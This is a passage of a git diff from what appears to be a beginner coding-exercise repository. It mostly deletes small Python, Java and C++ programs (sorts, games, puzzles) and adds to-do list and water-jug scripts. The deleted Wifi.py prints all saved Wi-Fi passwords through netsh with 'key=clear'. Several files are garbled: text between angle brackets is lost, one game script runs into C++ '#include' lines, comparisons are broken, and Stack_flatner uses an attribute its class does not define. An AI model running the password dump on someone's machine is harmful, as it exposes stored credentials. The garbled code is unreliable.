java.io.*; - -class GFG { - - // A utility function to swap two elements - static void swap(int[] arr, int i, int j) - { - int temp = arr[i]; - arr[i] = arr[j]; - arr[j] = temp; - } - - /* This function takes last element as pivot, places - the pivot element at its correct position in sorted - array, and places all smaller (smaller than pivot) - to left of pivot and all greater elements to right - of pivot */ - static int partition(int[] arr, int low, int high) - { - - // pivot - int pivot = arr[high]; - - // Index of smaller element and - // indicates the right position - // of pivot found so far - int i = (low - 1); - - for (int j = low; j <= high - 1; j++) { - - // If current element is smaller - // than the pivot - if (arr[j] < pivot) { - - // Increment index of - // smaller element - i++; - swap(arr, i, j); - } - } - swap(arr, i + 1, high); - return (i + 1); - } - - /* The main function that implements QuickSort - arr[] --> Array to be sorted, - low --> Starting index, - high --> Ending index - */ - static void quickSort(int[] arr, int low, int high) - { - if (low < high) { - - // pi is partitioning index, arr[p] - // is now at right place - int pi = partition(arr, low, high); - - // Separately sort elements before - // partition and after partition - quickSort(arr, low, pi - 1); - quickSort(arr, pi + 1, high); - } - } - - // Function to print an array - static void printArray(int[] arr, int size) - { - for (int i = 0; i < size; i++) - System.out.print(arr[i] + " "); - - System.out.println(); - } - - // Driver Code - public static void main(String[] args) - { - int[] arr = { 10, 7, 8, 9, 1, 5 }; - int n = arr.length; - - quickSort(arr, 0, n - 1); - System.out.println("Sorted array: "); - printArray(arr, n); - } -} diff --git a/Add Code Here/PYTHON/Quizzing_Game.py b/Add Code Here/PYTHON/Quizzing_Game.py deleted file mode 100644 index 8713153ec49..00000000000 --- a/Add Code Here/PYTHON/Quizzing_Game.py +++ /dev/null @@ -1,47 +0,0 @@ -import requests -import json -import pprint -import random -import html -url="https://opentdb.com/api.php?amount=1" -score_correct=0 -score_incorrect=0 -endGame="" -while endGame!='quit': - r=requests.get(url) - if(r.status_code!=200): - endGame=input("Sorry there was a problem retrieving the question. Please press enter to try again or type 'quit' to quit the game.") - else: - answer_number=1 - data=json.loads(r.text) - question=data['results'][0]['question'] - answers=data['results'][0]['incorrect_answers'] - correct_answer=data['results'][0]['correct_answer'] - answers.append(correct_answer) - random.shuffle(answers) - valid_answer=False - - print(html.unescape(question)+"\n") - for answer in answers: - print(str(answer_number)+"- "+ html.unescape(answer)) - answer_number+=1 - while valid_answer==False: - user_answer=input("\n Type the number of the correct answer ") - try: - user_answer=int(user_answer) - if(user_answer>len(answers) or user_answer<=0): - print("Invalid Answer") - else: - valid_answer=True - except: - print("Invalid answer. Use only numbers") - user_answer=answers[int(user_answer)-1] - if(user_answer==correct_answer): - print("Congratulations you answered correctly.") - score_correct+=1 - else: - print("Sorry, " + html.unescape(user_answer) + " is the incorrect answer. The correct answer is "+ html.unescape(correct_answer)+".") - score_incorrect+=1 - print("Correct: "+str(score_correct)+"\nIncorrect: "+str(score_incorrect)) - endGame=input("Press enter to play again or type 'quit' to quit the game ") -print("\nThanks for playing") diff --git a/Add Code Here/PYTHON/ReLU_activation_function.py b/Add Code Here/PYTHON/ReLU_activation_function.py deleted file mode 100644 index fa85af8b396..00000000000 --- a/Add Code Here/PYTHON/ReLU_activation_function.py +++ /dev/null @@ -1,6 +0,0 @@ -import numpy as np - - -def ReLU(x): - data = [max(0,value) for value in x] - return np.array(data, dtype=float) diff --git a/Add Code Here/PYTHON/ReverseAlphabetPattern.py b/Add Code Here/PYTHON/ReverseAlphabetPattern.py deleted file mode 100644 index 31c5f93287e..00000000000 --- a/Add Code Here/PYTHON/ReverseAlphabetPattern.py +++ /dev/null @@ -1,21 +0,0 @@ -#The reverse alphabet pyramid pattern is a pyramid pattern that is made of alphabets and is upside down. -#For Example: -#ABCDEFGHI -# ABCDEFG - # ABCDE - # ABC - # A - - #Sourcecode - # reverse alphabet pyramid pattern -size = int(input("Enter The levels upto which you want to create a reverse pyramid pattern of alphabets")) -alpha = 65 - -for i in range(size): - # print spaces - for j in range(i): - print(" ", end="") - # print alphabets - for k in range(2 * (size - i) - 1): - print(chr(alpha + k), end="") - print() diff --git a/Add Code Here/PYTHON/Rock Paper Scissor.py b/Add Code Here/PYTHON/Rock Paper Scissor.py deleted file mode 100644 index 2916270f951..00000000000 --- a/Add Code Here/PYTHON/Rock Paper Scissor.py +++ /dev/null @@ -1,49 +0,0 @@ -import random - - -rock = ''' - _______ ----' ____) - (_____) - (_____) - (____) ----.__(___) -''' - -paper = ''' - _______ ----' ____)____ - ______) - _______) - _______) ----.__________) -''' - -scissors = ''' - _______ ----' ____)____ - ______) - __________) - (____) ----.__(___) -''' - -user_choice = int(input("What do you choose? Type 0 for Rock, 1 for Paper or 2 for Scissors.")) - -# input_choice = [rock, paper, scissors] - -computer_random_choice = random.randint(0,2) - -print(f"Computer Choice is {computer_random_choice}") - -if user_choice ==0 and computer_random_choice==2: - print("You win") - -elif user_choice -#include -using namespace std; - -class Matrix -{ -public: - int i,j; - int a[3][3],b[3][3]; - void accept(int,int); - void display(int,int); - void saddle(int,int); -}; - -void Matrix::accept(int r, int c) -{ - cout<<"Matrix 1 : "<a[i][j]) - { - small[i]=a[i][j]; - } - } - } - for(j=1;j<=c;j++) - { - big[j]=a[1][j]; - for(i=1;i<=r;i++) - { - if(big[j]big[j]) - { - mini=big[j]; - } - } - if(maxi==mini) - { - cout<<"Saddle point exists = "< array[j+1]: - array[j], array[j+1] = array[j+1], array[j] - -print(array) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Sorting/insertionSort.py b/Add Code Here/PYTHON/Sorting/insertionSort.py deleted file mode 100644 index 53de07bfc1b..00000000000 --- a/Add Code Here/PYTHON/Sorting/insertionSort.py +++ /dev/null @@ -1,10 +0,0 @@ -array = [14, 4 , 56, 2, 100, 97] -l = len(array) - -for i in range(1, l): - j = i - while j>0 and array[j] < array[j-1]: - array[j], array[j-1] = array[j-1], array[j] - j -= 1 - -print(array) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Sorting/selectionSort.py b/Add Code Here/PYTHON/Sorting/selectionSort.py deleted file mode 100644 index 1ecf6c01f9f..00000000000 --- a/Add Code Here/PYTHON/Sorting/selectionSort.py +++ /dev/null @@ -1,10 +0,0 @@ -array = [14, 4 , 56, 2, 100, 97] -l = len(array) -for i in range(l-1): - temp = i - for j in range(i+1, l): - if array[j] < array[temp]: - temp = j - array[i], array[temp] = array[temp], array[i] - -print(array) diff --git a/Add Code Here/PYTHON/SplitArray.py b/Add Code Here/PYTHON/SplitArray.py deleted file mode 100644 index 0ef6ccf9fe7..00000000000 --- a/Add Code Here/PYTHON/SplitArray.py +++ /dev/null @@ -1,41 +0,0 @@ - -def split(arr,i,sum): - - def helper(arr, n, start, lsum, rsum): - - - if (start == n): - return lsum == rsum - - - if (arr[start] % 5 == 0): - lsum += arr[start] - - elif (arr[start] % 3 == 0): - rsum += arr[start] - - - else: - - - return (helper(arr, n, start + 1, lsum + arr[start], rsum) or helper(arr, n, start + 1, - lsum, rsum + arr[start])); - - return helper(arr, n, start + 1, lsum, rsum) - - - - - - - - - return helper(arr, len(arr), 0, 0, 0) - -n = input() -arr = [int(ele) for ele in input().split()] -ans = split(arr,0,0) -if ans is True: - print('true') -else: - print('false') \ No newline at end of file diff --git a/Add Code Here/PYTHON/Stack_flatner.py b/Add Code Here/PYTHON/Stack_flatner.py deleted file mode 100644 index e3eb820a782..00000000000 --- a/Add Code Here/PYTHON/Stack_flatner.py +++ /dev/null @@ -1,68 +0,0 @@ -class Node: - def __init__(self, data): - self.data = data - self.next = None - self.child = None - -def flatenStack(head): - ptr = head - stack = [] - stack.append(head) - previous = None - - while(len(stack) != 0): - temp = stack[-1] - stack.pop() - - if (temp.next): - stack.append(temp.next) - if (temp.down): - stack.append(temp.down) - - if (previous != None): - previous.next = temp - - previous = temp - - return ptr - - - - - -#First non-repeating character in a stream of characters - -from queue import Queue -def firstnonrepeating(Str): - global MAX_CHAR - q = Queue() - charCount = [0] * MAX_CHAR - - # traverse whole Stream - for i in range(len(Str)): - - # push each character in queue - q.put(Str[i]) - - # increment the frequency count - charCount[ord(Str[i]) - - ord('a')] += 1 - - # check for the non pepeating - # character - while (not q.empty()): - if (charCount[ord(q.queue[0]) - - ord('a')] > 1): - q.get() - else: - print(q.queue[0], end = " ") - break - - if (q.empty()): - print(-1, end = " ") - print() - -# Driver Code -MAX_CHAR = 26 -Str = "aabcbdde" -firstnonrepeating(Str) \ No newline at end of file diff --git a/Add Code Here/PYTHON/Stone_Paper_Scissor_Game.py b/Add Code Here/PYTHON/Stone_Paper_Scissor_Game.py deleted file mode 100644 index e8c440028cc..00000000000 --- a/Add Code Here/PYTHON/Stone_Paper_Scissor_Game.py +++ /dev/null @@ -1,100 +0,0 @@ -import random - -print(""" - ______ ______ ______ - / ___/ | __ \ / ___/ - | (__ | |__) | | (__ - \__ \ | ___/ \__ \ - ___) | _ | | _ ___) | _ - /_____/ |_| |__| |_| /_____/ |_| -""") - -print(""" - Welcome to Stone Paper Scissor! -""") - -print(""" -\n\t\t Instructions: \n\tThere will be 10 Matches to be played. -""") - - -winner = "" - - -def Game(): - userScore, compScore = 0, 0 - a = 1 - while a <= 10: - print(""" -________________________________________________________ - """) - print(f"\n \t\tMatch : {a}\n") - user = input("Enter either 'Stone / Paper / Scissor' : ") - computer = random.randint(1, 100) - comp = "" - - if computer <= 33: - comp = "Stone" - if computer > 33 and computer <= 66: - comp = "Paper" - if computer > 66 and computer <= 100: - comp = "Scissor" - - print(f""" - Computer's choice :{comp} - User's choice :{user} - """) - - # Computer - if comp == "Stone" and (user == "Scissor" or user == "scissor"): - compScore = compScore+1 - - if comp == "Paper" and (user == "Stone" or user == "stone"): - compScore = compScore+1 - - if comp == "Scissor" and (user == "Paper" or user == "paper"): - compScore = compScore+1 - - # User - if (user == "Stone" or user == "stone") and comp == "Scissor": - userScore = userScore+1 - - if (user == "Paper" or user == "paper") and comp == "Stone": - userScore = userScore+1 - - if (user == "Scissor" or user == "scissor") and comp == "Paper": - userScore = userScore+1 - - # same - - if comp == "Stone" and user == "Stone" or user == "stone": - userScore, compScore = userScore, compScore - - if comp == "Paper" and user == "Paper" or user == "paper": - userScore, compScore = userScore, compScore - - if comp == "Scissor" and user == "Scissor": - userScore, compScore == userScore, compScore - - print(f""" - User Score : {userScore} - Computer : {compScore} - """) - if compScore < userScore: - winner = "User" - print(f"\tLead : {winner}\n") - - if userScore < compScore: - winner = "Computer" - print(f"\tLead : {winner}\n") - - if compScore == userScore: - winner = "Both" - print(f"\tLead : {winner}\n") - - if a == 10: - print(f"\n\t\nGame won by : {winner}\n") - a = a+1 - - -Game() diff --git a/Add Code Here/PYTHON/String Programs/Maximum_Consecutive_Substring_Occurrence.py b/Add Code Here/PYTHON/String Programs/Maximum_Consecutive_Substring_Occurrence.py deleted file mode 100644 index 43286580e0f..00000000000 --- a/Add Code Here/PYTHON/String Programs/Maximum_Consecutive_Substring_Occurrence.py +++ /dev/null @@ -1,9 +0,0 @@ -#Maximum Consecutive Substring Occurrence -#Contributed by Abhishek Jaiswal - -import re -test_str = raw_input("Enter string:") -print("The original string is : " + str(test_str)) -sub_str = raw_input("Enter substring:") -res = max(re.findall('((?:' + re.escape(sub_str) + ')*)', test_str), key = len) -print("The maximum run of Substring : " + res) \ No newline at end of file diff --git a/Add Code Here/PYTHON/String Programs/Palindrome_string.py b/Add Code Here/PYTHON/String Programs/Palindrome_string.py deleted file mode 100644 index 4c4e142b745..00000000000 --- a/Add Code Here/PYTHON/String Programs/Palindrome_string.py +++ /dev/null @@ -1,8 +0,0 @@ -# Python Program to Check Whether a String is Palindrome or Not -# Contributed by Abhishek Jaiswal - -string=raw_input("Enter string:") -if(string==string[::-1]): - print("The string is a palindrome") -else: - print("The string isn't a palindrome") \ No newline at end of file diff --git a/Add Code Here/PYTHON/String Programs/least_freq_count.py b/Add Code Here/PYTHON/String Programs/least_freq_count.py deleted file mode 100644 index a670bffb728..00000000000 --- a/Add Code Here/PYTHON/String Programs/least_freq_count.py +++ /dev/null @@ -1,9 +0,0 @@ -# Least Frequent Character in String -# Contributed by Abhishek Jaiswal - -from collections import Counter -test_str = raw_input("Enter string:") -print ("The original string is : " + test_str) -res = Counter(test_str) -res = min(res, key = res.get) -print ("The minimum of all characters is : " + str(res)) diff --git a/Add Code Here/PYTHON/String Programs/longest_substring_length_k.py b/Add Code Here/PYTHON/String Programs/longest_substring_length_k.py deleted file mode 100644 index aa793689379..00000000000 --- a/Add Code Here/PYTHON/String Programs/longest_substring_length_k.py +++ /dev/null @@ -1,10 +0,0 @@ -#Longest Substring length of K -# Contributed by Abhishek Jaiswal - -import re -test_str = raw_input("Enter string:") -print("The original string is : " + str(test_str)) -K = raw_input("Enter length K:") -res = re.findall(r'' + K + '+', test_str) -res = len(max(res, key = len)) -print("The Longest Substring Length : " + str(res)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/TIC-TAC-TOE_GAME/player.py b/Add Code Here/PYTHON/TIC-TAC-TOE_GAME/player.py deleted file mode 100644 index ea1cd3eca04..00000000000 --- a/Add Code Here/PYTHON/TIC-TAC-TOE_GAME/player.py +++ /dev/null @@ -1,80 +0,0 @@ -import math -import random - - -class Player(): - def __init__(self, letter): - self.letter = letter - - def get_move(self, game): - pass - - -class HumanPlayer(Player): - def __init__(self, letter): - super().__init__(letter) - - def get_move(self, game): - valid_square = False - val = None - while not valid_square: - square = input(self.letter + '\'s turn. Input move (0-9): ') - try: - val = int(square) - if val not in game.available_moves(): - raise ValueError - valid_square = True - except ValueError: - print('Invalid square. Try again.') - return val - - -class RandomComputerPlayer(Player): - def __init__(self, letter): - super().__init__(letter) - - def get_move(self, game): - square = random.choice(game.available_moves()) - return square - - -class SmartComputerPlayer(Player): - def __init__(self, letter): - super().__init__(letter) - - def get_move(self, game): - if len(game.available_moves()) == 9: - square = random.choice(game.available_moves()) - else: - square = self.minimax(game, self.letter)['position'] - return square - - def minimax(self, state, player): - max_player = self.letter - other_player = 'O' if player == 'X' else 'X' - - if state.current_winner == other_player: - return {'position': None, 'score': 1 * (state.num_empty_squares() + 1) if other_player == max_player else -1 * ( - state.num_empty_squares() + 1)} - elif not state.empty_squares(): - return {'position': None, 'score': 0} - - if player == max_player: - best = {'position': None, 'score': -math.inf} - else: - best = {'position': None, 'score': math.inf} - for possible_move in state.available_moves(): - state.make_move(possible_move, player) - sim_score = self.minimax(state, other_player) - - state.board[possible_move] = ' ' - state.current_winner = None - sim_score['position'] = possible_move - - if player == max_player: - if sim_score['score'] > best['score']: - best = sim_score - else: - if sim_score['score'] < best['score']: - best = sim_score - return best diff --git a/Add Code Here/PYTHON/TIC-TAC-TOE_GAME/tic_tac_toe.py b/Add Code Here/PYTHON/TIC-TAC-TOE_GAME/tic_tac_toe.py deleted file mode 100644 index 797789a7168..00000000000 --- a/Add Code Here/PYTHON/TIC-TAC-TOE_GAME/tic_tac_toe.py +++ /dev/null @@ -1,96 +0,0 @@ -import math -import time -from player import HumanPlayer, RandomComputerPlayer, SmartComputerPlayer - - -class TicTacToe(): - def __init__(self): - self.board = self.make_board() - self.current_winner = None - - @staticmethod - def make_board(): - return [' ' for _ in range(9)] - - def print_board(self): - for row in [self.board[i*3:(i+1) * 3] for i in range(3)]: - print('| ' + ' | '.join(row) + ' |') - - @staticmethod - def print_board_nums(): - number_board = [[str(i) for i in range(j*3, (j+1)*3)] for j in range(3)] - for row in number_board: - print('| ' + ' | '.join(row) + ' |') - - def make_move(self, square, letter): - if self.board[square] == ' ': - self.board[square] = letter - if self.winner(square, letter): - self.current_winner = letter - return True - return False - - def winner(self, square, letter): - row_ind = math.floor(square / 3) - row = self.board[row_ind*3:(row_ind+1)*3] - if all([s == letter for s in row]): - return True - col_ind = square % 3 - column = [self.board[col_ind+i*3] for i in range(3)] - if all([s == letter for s in column]): - return True - if square % 2 == 0: - diagonal1 = [self.board[i] for i in [0, 4, 8]] - if all([s == letter for s in diagonal1]): - return True - diagonal2 = [self.board[i] for i in [2, 4, 6]] - if all([s == letter for s in diagonal2]): - return True - return False - - def empty_squares(self): - return ' ' in self.board - - def num_empty_squares(self): - return self.board.count(' ') - - def available_moves(self): - return [i for i, x in enumerate(self.board) if x == " "] - - -def play(game, x_player, o_player, print_game=True): - - if print_game: - game.print_board_nums() - - letter = 'X' - while game.empty_squares(): - if letter == 'O': - square = o_player.get_move(game) - else: - square = x_player.get_move(game) - if game.make_move(square, letter): - - if print_game: - print(letter + ' makes a move to square {}'.format(square)) - game.print_board() - print('') - - if game.current_winner: - if print_game: - print(letter + ' wins!') - return letter - letter = 'O' if letter == 'X' else 'X' - - time.sleep(.8) - - if print_game: - print('It\'s a tie!') - - - -if __name__ == '__main__': - x_player = SmartComputerPlayer('X') - o_player = HumanPlayer('O') - t = TicTacToe() - play(t, x_player, o_player, print_game=True) diff --git a/Add Code Here/PYTHON/To do list.py b/Add Code Here/PYTHON/To do list.py new file mode 100644 index 00000000000..4b15637658b --- /dev/null +++ b/Add Code Here/PYTHON/To do list.py @@ -0,0 +1,47 @@ +class ToDoList: + def __init__(self): + self.tasks = [] + + def add_task(self, task): + self.tasks.append(task) + + def remove_task(self, task): + if task in self.tasks: + self.tasks.remove(task) + + def display_tasks(self): + if not self.tasks: + print("No tasks in the to-do list.") + else: + print("To-Do List:") + for i, task in enumerate(self.tasks, 1): + print(f"{i}. {task}") + +def main(): + todo_list = ToDoList() + + while True: + print("\nOptions:") + print("1. Add Task") + print("2. Remove Task") + print("3. Display Tasks") + print("4. Quit") + + choice = input("Enter your choice: ") + + if choice == "1": + task = input("Enter the task: ") + todo_list.add_task(task) + elif choice == "2": + task = input("Enter the task to remove: ") + todo_list.remove_task(task) + elif choice == "3": + todo_list.display_tasks() + elif choice == "4": + print("Goodbye!") + break + else: + print("Invalid choice. Please try again.") + +if __name__ == "__main__": + main() diff --git a/Add Code Here/PYTHON/To-Do List.py b/Add Code Here/PYTHON/To-Do List.py new file mode 100644 index 00000000000..4b15637658b --- /dev/null +++ b/Add Code Here/PYTHON/To-Do List.py @@ -0,0 +1,47 @@ +class ToDoList: + def __init__(self): + self.tasks = [] + + def add_task(self, task): + self.tasks.append(task) + + def remove_task(self, task): + if task in self.tasks: + self.tasks.remove(task) + + def display_tasks(self): + if not self.tasks: + print("No tasks in the to-do list.") + else: + print("To-Do List:") + for i, task in enumerate(self.tasks, 1): + print(f"{i}. {task}") + +def main(): + todo_list = ToDoList() + + while True: + print("\nOptions:") + print("1. Add Task") + print("2. Remove Task") + print("3. Display Tasks") + print("4. Quit") + + choice = input("Enter your choice: ") + + if choice == "1": + task = input("Enter the task: ") + todo_list.add_task(task) + elif choice == "2": + task = input("Enter the task to remove: ") + todo_list.remove_task(task) + elif choice == "3": + todo_list.display_tasks() + elif choice == "4": + print("Goodbye!") + break + else: + print("Invalid choice. Please try again.") + +if __name__ == "__main__": + main() diff --git a/Add Code Here/PYTHON/Trapping_Rain_Water.py b/Add Code Here/PYTHON/Trapping_Rain_Water.py deleted file mode 100644 index 5355110c73a..00000000000 --- a/Add Code Here/PYTHON/Trapping_Rain_Water.py +++ /dev/null @@ -1,26 +0,0 @@ -"""We are given with n non-negative integers representing an elevation map where the width of each bar is 1, -we need to compute how much water it is able to trap after raining.""" - -def rain(arr): - ans = 0 - temp = 0 - prev = 0 - for i in range(len(arr)): - if arr[i] > prev and temp == 0: - prev = arr[i] - elif arr[i] >= prev: - ans += temp - prev = arr[i] - temp = 0 - else: - if i != len(arr)-1 and arr[i] < max(arr[i+1:]): - temp += prev - arr[i] - else: - ans += arr[i] - temp = 0 - prev = arr[i] - return ans - - -arr = [2, 0, 3, 0, 2, 0, 4] -print(rain(arr)) diff --git a/Add Code Here/PYTHON/Uniform_cost_search.cpp b/Add Code Here/PYTHON/Uniform_cost_search.cpp deleted file mode 100644 index 0e9dd07975e..00000000000 --- a/Add Code Here/PYTHON/Uniform_cost_search.cpp +++ /dev/null @@ -1,124 +0,0 @@ -# Python3 implementation of above approach - -# returns the minimum cost in a vector( if -# there are multiple goal states) -def uniform_cost_search(goal, start): - - # minimum cost upto - # goal state from starting - global graph,cost - answer = [] - - # create a priority queue - queue = [] - - # set the answer vector to max value - for i in range(len(goal)): - answer.append(10**8) - - # insert the starting index - queue.append([0, start]) - - # map to store visited node - visited = {} - - # count - count = 0 - - # while the queue is not empty - while (len(queue) > 0): - - # get the top element of the - queue = sorted(queue) - p = queue[-1] - - # pop the element - del queue[-1] - - # get the original value - p[0] *= -1 - - # check if the element is part of - # the goal list - if (p[1] in goal): - - # get the position - index = goal.index(p[1]) - - # if a new goal is reached - if (answer[index] == 10**8): - count += 1 - - # if the cost is less - if (answer[index] > p[0]): - answer[index] = p[0] - - # pop the element - del queue[-1] - - queue = sorted(queue) - if (count == len(goal)): - return answer - - # check for the non visited nodes - # which are adjacent to present node - if (p[1] not in visited): - for i in range(len(graph[p[1]])): - - # value is multiplied by -1 so that - # least priority is at the top - queue.append( [(p[0] + cost[(p[1], graph[p[1]][i])])* -1, graph[p[1]][i]]) - - # mark as visited - visited[p[1]] = 1 - - return answer - -# main function -if __name__ == '__main__': - - # create the graph - graph,cost = [[] for i in range(8)],{} - - # add edge - graph[0].append(1) - graph[0].append(3) - graph[3].append(1) - graph[3].append(6) - graph[3].append(4) - graph[1].append(6) - graph[4].append(2) - graph[4].append(5) - graph[2].append(1) - graph[5].append(2) - graph[5].append(6) - graph[6].append(4) - - # add the cost - cost[(0, 1)] = 2 - cost[(0, 3)] = 5 - cost[(1, 6)] = 1 - cost[(3, 1)] = 5 - cost[(3, 6)] = 6 - cost[(3, 4)] = 2 - cost[(2, 1)] = 4 - cost[(4, 2)] = 4 - cost[(4, 5)] = 3 - cost[(5, 2)] = 6 - cost[(5, 6)] = 3 - cost[(6, 4)] = 7 - - # goal state - goal = [] - - # set the goal - # there can be multiple goal states - goal.append(6) - - # get the answer - answer = uniform_cost_search(goal, 0) - - # print the answer - print("Minimum cost from 0 to 6 is = ",answer[0]) - -# This code is contributed by mohit kumar 29 diff --git a/Add Code Here/PYTHON/WaterJugProblem.py b/Add Code Here/PYTHON/WaterJugProblem.py new file mode 100644 index 00000000000..aec9c937c3a --- /dev/null +++ b/Add Code Here/PYTHON/WaterJugProblem.py @@ -0,0 +1,59 @@ +# This function is used to initialize the +# dictionary elements with a default value. +from collections import defaultdict + +# jug1 and jug2 contain the value +# for max capacity in respective jugs +# and aim is the amount of water to be measured. +jug1, jug2, aim = 4, 3, 2 + +# Initialize dictionary with +# default value as false. +visited = defaultdict(lambda: False) + + +# Recursive function which prints the +# intermediate steps to reach the final +# solution and return boolean value +# (True if solution is possible, otherwise False). +# amt1 and amt2 are the amount of water present +# in both jugs at a certain point of time. +def waterJugSolver(amt1, amt2): + # Checks for our goal and + # returns true if achieved. + if (amt1 == aim and amt2 == 0) or (amt2 == aim and amt1 == 0): + print(amt1, amt2) + return True + + # Checks if we have already visited the + # combination or not. If not, then it proceeds further. + if visited[(amt1, amt2)] == False: + print(amt1, amt2) + + # Changes the boolean value of + # the combination as it is visited. + visited[(amt1, amt2)] = True + + # Check for all the 6 possibilities and + # see if a solution is found in any one of them. + return (waterJugSolver(0, amt2) or + waterJugSolver(amt1, 0) or + waterJugSolver(jug1, amt2) or + waterJugSolver(amt1, jug2) or + waterJugSolver(amt1 + min(amt2, (jug1 - amt1)), + amt2 - min(amt2, (jug1 - amt1))) or + waterJugSolver(amt1 - min(amt1, (jug2 - amt2)), + amt2 + min(amt1, (jug2 - amt2)))) + + # Return False if the combination is + # already visited to avoid repetition otherwise + # recursion will enter an infinite loop. + else: + return False + + +print("Steps: ") + +# Call the function and pass the +# initial amount of water present in both jugs. +waterJugSolver(0, 0) diff --git a/Add Code Here/PYTHON/Wifi.py b/Add Code Here/PYTHON/Wifi.py deleted file mode 100644 index 374cc5b5985..00000000000 --- a/Add Code Here/PYTHON/Wifi.py +++ /dev/null @@ -1,10 +0,0 @@ -import subprocess -data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\n') -profiles = [i.split(":")[1][1:-1] for i in data if "All User Profile" in i] -for i in profiles: - results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\n') - results = [b.split(":")[1][1:-1] for b in results if "Key Content" in b] - try: - print ("{:<30}| {:<}".format(i, results[0])) - except IndexError: - print ("{:<30}| {:<}".format(i, "")) \ No newline at end of file diff --git a/Add Code Here/PYTHON/WikipediaSearch.py b/Add Code Here/PYTHON/WikipediaSearch.py deleted file mode 100644 index 3499a599389..00000000000 --- a/Add Code Here/PYTHON/WikipediaSearch.py +++ /dev/null @@ -1,61 +0,0 @@ -import pyttsx3 - -import speech_recognition as sr - -import wolframalpha - -import wikipedia - - -def search(query): - try: - app_id = "Your WolframAlpha App ID here" - client = wolframalpha.Client(app_id) - res = client.query(query) - answer = next(res.results).text - print(answer) - SpeakText("Your answer is " + answer) - - except: - - query = query.split(' ') - query = " ".join(query[0:]) - - SpeakText("I am searching for " + query) - print(wikipedia.summary(query, sentences = 3)) - SpeakText(wikipedia.summary(query, - sentences = 3)) - - -def SpeakText(command): - engine = pyttsx3.init() - engine.say(command) - engine.runAndWait() - - -query = input() -query = query.lower() - -if query == '': - r = sr.Recognizer() - - with sr.Microphone() as source: - print("Say Something ") - - r.adjust_for_ambient_noise(source, 2) - - audio = r.listen(source) - try: - speech = r.recognize_google(audio) - search(speech) - - except sr.UnknownValueError: - print("Google Speech Recognition could not \ - understand audio") - - except sr.RequestError as e: - print("Could not request results from Google \ - Speech Recognition service;{0}".format(e)) -else: - search(query) - diff --git a/Add Code Here/PYTHON/__pycache__/pytube.cpython-39.pyc b/Add Code Here/PYTHON/__pycache__/pytube.cpython-39.pyc deleted file mode 100644 index bab029e9e82..00000000000 Binary files a/Add Code Here/PYTHON/__pycache__/pytube.cpython-39.pyc and /dev/null differ diff --git a/Add Code Here/PYTHON/ageCalculator.py b/Add Code Here/PYTHON/ageCalculator.py deleted file mode 100644 index 6ab9aefeec4..00000000000 --- a/Add Code Here/PYTHON/ageCalculator.py +++ /dev/null @@ -1,10 +0,0 @@ -from datetime import date - -def calculateAge(birthDate): - today = date.today() - age = today.year - birthDate.year - ((today.month, today.day) < (birthDate.month, birthDate.day)) - - return age - -# Driver code -print(calculateAge(date(1997, 2, 3)), "years") \ No newline at end of file diff --git a/Add Code Here/PYTHON/attendance.py b/Add Code Here/PYTHON/attendance.py deleted file mode 100644 index 4929f18db17..00000000000 --- a/Add Code Here/PYTHON/attendance.py +++ /dev/null @@ -1,17 +0,0 @@ -#n=int(input("Enter total numbers : ")) -from datetime import datetime -l1=list(map(int,input("Enter only Present numbers from 1 to 100 : ").split()))#[:n] -l=list() -print("\nAbsent numbers are : ") -for i in range(1,100): - if i in l1: - continue - l.append(i) - print(i,end="\t") -f=open("AbsentNo.csv","a") -v=datetime.now() -f.write("Date : "+str(v.date())) -f.write("\nTime : "+str(v.strftime("%H:%M"))) -f.write("\nAbsent Numbers :"+str(l)) -f.write("\n\n") -f.close() diff --git a/Add Code Here/PYTHON/avg5.py b/Add Code Here/PYTHON/avg5.py deleted file mode 100644 index a38d60b9fcf..00000000000 --- a/Add Code Here/PYTHON/avg5.py +++ /dev/null @@ -1,16 +0,0 @@ -def avgcondition(arr): - sum =0 - for i in range(len(arr)): - if arr[i]>2 and arr[i]<10: - sum = sum + arr[i] - else: - return False - return sum/5 - -arr = [] - -for i in range(5): - a = float(input()) - arr.append(a) -print(arr) -print(avgcondition(arr)) \ No newline at end of file diff --git a/Add Code Here/PYTHON/bankers algorithm.py b/Add Code Here/PYTHON/bankers algorithm.py deleted file mode 100644 index 9be862c87bc..00000000000 --- a/Add Code Here/PYTHON/bankers algorithm.py +++ /dev/null @@ -1,68 +0,0 @@ -available=[] -max_demand=[] -allocated=[] -need=[] -n=int(input("enter number of resources:")) -for i in range(n): - temp=int(input("\nEnter no of available instances of R{:d}:".format(i))) - available.append(temp) -proc_no=int(input("\nenter total number of processes:")) -finish=[1]*proc_no -for i in range(proc_no): - temp=[] - for j in range(n): - temp.append(int(input("\nEnter the max no of instances of R{:d} for P{:d}:".format(j,i)))) - max_demand.append(temp) -for i in range(proc_no): - temp=[] - for j in range(n): - temp.append(int(input("\nEnter the no of instances of R{:d} allocated for P{:d}:".format(j,i)))) - available[j]-=temp[j] - allocated.append(temp) -for i in range(proc_no): - temp=[] - for j in range(n): - temp.append(max_demand[i][j]-allocated[i][j]) - need.append(temp) - -def printmatr(name): - for i in name: - for j in i: - print(j,end=' ') - print() -work=available.copy() #length is n - -counter = proc_no -safe_sequence=[] -while counter != 0: - safe = False - for i in range(proc_no): - if finish[i]: - executing = True - for j in range(n): - if need[i][j] > available[j]: - executing = False - break - if executing: - safe_sequence.append(i) - finish[i] = False - counter -= 1 - safe = True - for j in range(n): - available[j] += allocated[i][j] - - - if not safe: - print("the processes are in an unsafe state.") - break - -print("need:\n") -printmatr(need) -print("max_dem:\n") -printmatr(max_demand) -print("Allocated:\n") -printmatr(allocated) -print("safe sequence:\n") -for i in safe_sequence: - print(f"P{i+1}",end="->") - diff --git a/Add Code Here/PYTHON/bin.py b/Add Code Here/PYTHON/bin.py deleted file mode 100644 index 8da97a2031a..00000000000 --- a/Add Code Here/PYTHON/bin.py +++ /dev/null @@ -1,6 +0,0 @@ -def binary(n): - if n==0: - return - binary(n//2) - print(n%2) -binary(132) \ No newline at end of file diff --git a/Add Code Here/PYTHON/binarysearch.py b/Add Code Here/PYTHON/binarysearch.py deleted file mode 100644 index 66dfb9a2e27..00000000000 --- a/Add Code Here/PYTHON/binarysearch.py +++ /dev/null @@ -1,31 +0,0 @@ -# Binary Search in python - - -def binarySearch(array, x, low, high): - - # Repeat until the pointers low and high meet each other - while low <= high: - - mid = low + (high - low)//2 - - if array[mid] == 